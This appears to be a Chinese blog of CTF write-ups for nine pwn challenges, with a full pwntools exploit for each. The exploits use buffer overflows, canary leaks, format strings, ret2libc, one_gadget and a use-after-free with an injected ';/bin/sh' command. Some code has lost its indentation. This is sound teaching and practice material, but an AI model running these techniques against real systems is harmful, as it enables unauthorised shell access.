攻防世界-pwn-高手进阶区

勤学多练

0x00 dice_game

猜数字游戏,连胜50次可以直接getflag

分析

1
2
3
char buf[55]; // [rsp+0h] [rbp-50h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
v6 = read(0, buf, 0x50uLL);

buf只给开了55位,但是read时可以输入0x50位,因此可以通过覆盖seed使得生成的随机序列固定

exp

可以通过ctypes在python中使用c的函数

1
2
3
4
5
6
7
8
9
10
from pwn import *
from ctypes import *
context.log_level = 'debug'
libc = CDLL('libc.so.6')
p = process('dice_game')
p.sendlineafter('let me know your name:','A'*0x40+p64(0))
for i in range(50):
randvalue = libc.rand(0)%6+1
p.sendlineafter('Give me the point(1~6):',str(randvalue))
p.interactive()

0x01 warmup

。。。这题目不给ELF真的没问题吗?

把我虚拟机都吓未响应了

上网搜了一下原题的wp,这真的可以不给ELF吗

既然他不给,那我们就假装需要爆破呗

分析

。。。既然如此只能拿出高等级演技了。

首先,看一下这个回显

1
2
3
-Warm Up-
WOW:0x40060d
>

只有一个0x40060d算是有用信息,看起来是一个地址,那么

  1. 看起来是64位ELF的常见地址,所以我们盲猜这个ELF是一个64位的ELF
  2. 随便输入一些数据,没有回显就直接kill了,可以盲猜这是一个溢出,而0x40060d很可能就是有意返回给我们的一个利用地址
  3. 既然不知道padding的长度,别问了,直接爆破吧

戏是真的多

exp

这里我意思一下,写了从70到100的爆破,毕竟偷偷看了一下原题的writeup

至于为什么是从70开始,因为当padding=64的时候,他竟然会跳回到main函数再次运行

1564886378792
1564886378792
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# context.log_level = 'debug'
end_flag = 0 # when the flag got,the end_flag => 1 ,means the loop ends
for i in range(70,100):
if end_flag==1:
break
log.info('testing padding = '+str(i))
p = remote('111.198.29.45',30599)
p.recvuntil('WOW:')
vuln_addr = int(p.recvline()[:-1],16)
p.sendlineafter('>','A'*i+p64(vuln_addr))
try:
flag = p.recvline()
print(flag)
end_flag = 1
except:
pass
p.close()

0x02 forgot

分析

这题IDA里看的跟我实际调试的想的不太一样

看IDA里有一个sub_080486CC函数可以直接getflag

1
2
3
4
5
6
7
int getflag()
{
char s; // [esp+1Eh] [ebp-3Ah]

snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}

然后看了main函数的逻辑,可以通过scanf溢出v14来跳过switch过程,最后计算出一个地址跳转过去

1
2
3
4
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
__isoc99_scanf("%s", input);//这里可以溢出
(*(&v3 + --v14))(); // 0x8048604 + --v14 = 0x080486cc v14 = 201

这是我一开始的设想,甚至觉得相当合理,但是实际gdb调试的时候发现竟然不一样了,所以就直接在gdb的调试信息里改payload的组成。

1564890488899
1564890488899

又认真看了一下,是同一个地方,只是这是类似数组的一个表达,即v3[v14]的一个表达,所以这个v14相当于标号,实际上的地址计算则是&v2+sizeof(int)*value(v14)

这么一说以前还看到过这个点,现在全忘了

exp

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
p = process('./forgot')
padding = 0x68
getflag_addr = 0x080486CC
p.sendlineafter('name?','wh4lter')
p.sendlineafter('Enter the string to be validate','A'*0x1c+p32(getflag_addr)+'A'*0x48+p32(10))
p.interactive()

0x03 stack2

分析

开了Canary,第一反应想办法爆出Canary

看IDA,自带了一个hackhere函数,那很显然,改EIP指向它就行了

这里可以通过给的change number功能修改栈中数据

1
2
3
4
5
puts("which number to change:");
__isoc99_scanf("%d", &count);
puts("new number:");
__isoc99_scanf("%d", &number);
v13[count] = number;

这里的count并没有约束,所以可以实现数组的越界写

那么只要找到内存中存放$EIP的地址就可以了,这里通过gdb跟一下就能找到

至于泄露canary,这里可以看开头输入预设数组的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &count);
puts("Give me your numbers");
for ( i = 0; i < count && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &number);
v13[i] = number;
}
...
for ( j = count; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
...
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
...

这里虽然0 <= x(我给它命名为了count) < 256,但是并没有限制,而下面实际允许的输入只到99

而下面的show numbers功能的实现代码里,数组的下标又是由我们给出的x控制的

那么这里就会实现一个泄露,就能获取Canary

然后我写出了代码,然后我把代码删了

。。。。。。根本不需要修改canary

然后攻防世界的平台崩了,创建不了新环境,删除不了旧环境

看了一下网上的writeup,环境有一个问题,没有/bin/bash

所以需要手工构造system("sh")

反正有system函数/bin/bash里面也有sh字符串,那就自己构造呗

exp

泄露Canary

我一定要放这段,因为我好冤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.sendlineafter('have:',str(255))#我甚至老实地小于了256
for i in range(100):
p.sendline(str(1))

p.sendlineafter('exit\n','1')

#get canary
canary = ''
for i in range(100,104):
p.recvuntil(str(i)+'\t\t')
value = int(p.recvuntil('\n')[:-1])
if value < 0:
value = 256+value
canary = hex(value)[2:].rjust(2,'0')+canary
canary = int(canary,16)
success('canary:'+hex(canary))

ret2hackhere

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
p = process('stack2')
p.sendlineafter('have:',str(1))
for i in range(1):
p.sendline(str(1))

hackhere_addr = 0x0804859b
for i in range(0x84,0x84+4):
p.sendlineafter('exit\n','3')
new_number = hackhere_addr & 0xFF
hackhere_addr = hackhere_addr >> 8
p.sendlineafter('which number to change:\n',str(i))
p.sendlineafter('new number:\n',str(new_number))

p.interactive()

自己构造system(“sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = 'debug'
p = process('stack2')

p.sendlineafter('have:',str(1))
for i in range(1):
p.sendline(str(1))

system_plt = 0x08048450
for i in range(0x84,0x84+4):
p.sendlineafter('exit\n','3')
new_number = system_plt & 0xFF
system_plt = system_plt >> 8
p.sendlineafter('which number to change:\n',str(i))
p.sendlineafter('new number:\n',str(new_number))

sh_addr = 0x08048987
for i in range(0x84+8,0x84+12):
p.sendlineafter('exit\n','3')
new_number = sh_addr & 0xFF
sh_addr = sh_addr >> 8
p.sendlineafter('which number to change:\n',str(i))
p.sendlineafter('new number:\n',str(new_number))
p.interactive()

0x04 monkey

分析

。。不用分析了。。

输入help(),给出一大堆帮助文件,列出了所有的函数,仔细品一下

1
2
os - interface object
os.getenv os.getpid os.system os.spawn os.kill os.waitpid os.file os.path

有一个os.system,本地测试一下

1
2
3
js> os.system('/bin/sh')
$ id
uid=1000(wh4lter) gid=1000(wh4lter) groups=1000(wh4lter)

。。。结束

0x05 pwn-100

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 ) // a2=200
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}

int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

看起来的话,read函数每次写一位,能写200位,然后写到v1上,v1只有0x40位,然后就写出去了~

这东西。。。不用一位位read。。。你给它200位的字符串,它自己会读的。。。。

  1. 泄露函数地址,那就需要调用puts,然后返回到0x40068E上
  2. 计算出system/bin/sh的地址
  3. 调用system('bin/sh')

遭遇的奇怪问题

1564968008086
1564968008086
1564968028322
1564968028322

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = process('./pwn-100')
puts_plt = 0x400500
puts_got = 0x601018
ret_addr = 0x40068E
poprdi = 0x400763

def sendbytes(payload):
payload = payload.ljust(200,'\x00')
# for i in payload:
# p.send(i)
p.send(payload)

payload1 = 'A'*0x48+p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
sendbytes(payload1)
p.recvuntil('bye~\n')
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success('puts_addr:'+hex(puts_addr))
obj = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - obj.dump('puts')
system_addr = libc_base + obj.dump('system')
binsh_addr = libc_base + obj.dump('str_bin_sh')

payload2 = 'A'*0x48+p64(poprdi)+p64(binsh_addr)+p64(system_addr)+p64(ret_addr)
sendbytes(payload2)
p.interactive()

0x06 Mary Morton

分析

1
2
3
4
int sub_4008DA()
{
return system("/bin/cat ./flag");
}

开启了Canary

可以通过FSB 来leak Canary

然后Stack Overflow

然后我又连不上这环境了。。。真就传统艺能呗

1564987231100
1564987231100

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
# context.log_level = 'debug'
# p = process('./mary_morton')
p = remote()

def bof(payload):
p.sendlineafter('Exit the battle','1')
sleep(0.5)
p.sendline(payload)

def fsb(payload):
p.sendlineafter('Exit the battle','2')
sleep(0.5)
p.sendline(payload)

fsb("AAAA%31$p")
sleep(1)
p.recvuntil('AAAA')
canary = int(p.recvline(keepends=False),16)
success('canary:'+hex(canary))
getflag_addr = 0x4008DA
payload2 = 'A'*0x88+p64(canary)+'B'*8+p64(getflag_addr)
bof(payload2)
p.interactive()

排雷

函数里两个功能的输入没有提示信息,所以不能用sendlineafter,所以中间需要设置一个短暂的延迟,这里我用的sleep,不然能不能泄露出Canary看脸

0x07 pwn1-babystack

分析

1
2
3
4
5
6
7
8
9
10
11
int sub_400841()
{
char s; // [rsp+10h] [rbp-30h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&s, 0, 0x20uLL);
if ( (signed int)read(0, &s, 0x20uLL) <= 0 )
exit(1);
return atoi(&s);
}

这个。。看起来是atoi改成system,然后在选择功能的时候,输入/bin/sh,实现system('/bin/sh')

然后看了一下main函数下面

1
sub_400826((const char *)&unk_400AE7);

感觉这可能也是可利用的地方

程序开启了Canary保护

可以使用puts将其泄露

最后使用了one_gadget,因为方便

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = 'debug'
p = process('babystack')
elf = ELF('babystack')
libc = ELF('libc-2.23.so')

#store
p.sendlineafter('>>','1')
sleep(0.5)
p.sendline('A'*0x88)

#print
p.sendlineafter('>>','2')
p.recvline()
canary = u64(p.recvline(keepends=False)[:-1].rjust(8,'\x00'))
success("Canary:"+hex(canary))

#store
main_addr = 0x0000000000400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdiret =0x0000000000400a93
p.sendlineafter('>>','1')
sleep(0.5)

p.sendline('A'*0x88+p64(canary)+'A'*8+p64(rdiret)+p64(puts_got)+p64(puts_plt)+p64(main_addr))

#exit
p.sendlineafter('>>','3')
puts_addr = u64(p.recvline(keepends=False)[1:].ljust(8,'\x00'))
success("puts_address:"+hex(puts_addr))
libc.base = puts_addr - libc.symbols['puts']
success("libc base:"+hex(libc.base))
one_gadget = libc.base + 0x45216

#store
p.sendlineafter('>>','1')
sleep(0.5)
p.sendline('A'*0x88+p64(canary)+'A'*8+p64(one_gadget))

#exit
p.sendlineafter('>>','3')

p.interactive()

0x08 time_formatter

分析

。。。这什么破玩意

借鉴了一下网上的博客

strdup的实现使用了malloc函数,而5)exit中先free后让你选择是否退出,这里如果你选择不退出,就会引发一个uaf

1
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);

也就是说只要能在0x602118的ptr中写入相应的命令与上半段的命令拼接,就能实现getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process('./time_formatter')
p.sendlineafter('>','1')
p.sendlineafter('Format','A'*20)
p.sendlineafter('>','3')
p.sendlineafter('zone','A'*20)
p.sendlineafter('>','5')
p.sendlineafter('?','N')
p.sendlineafter('>','3')
p.sendlineafter('zone',"\';/bin/sh #\'")
p.sendlineafter('>','4')
p.sendlineafter('>','4')
p.interactive()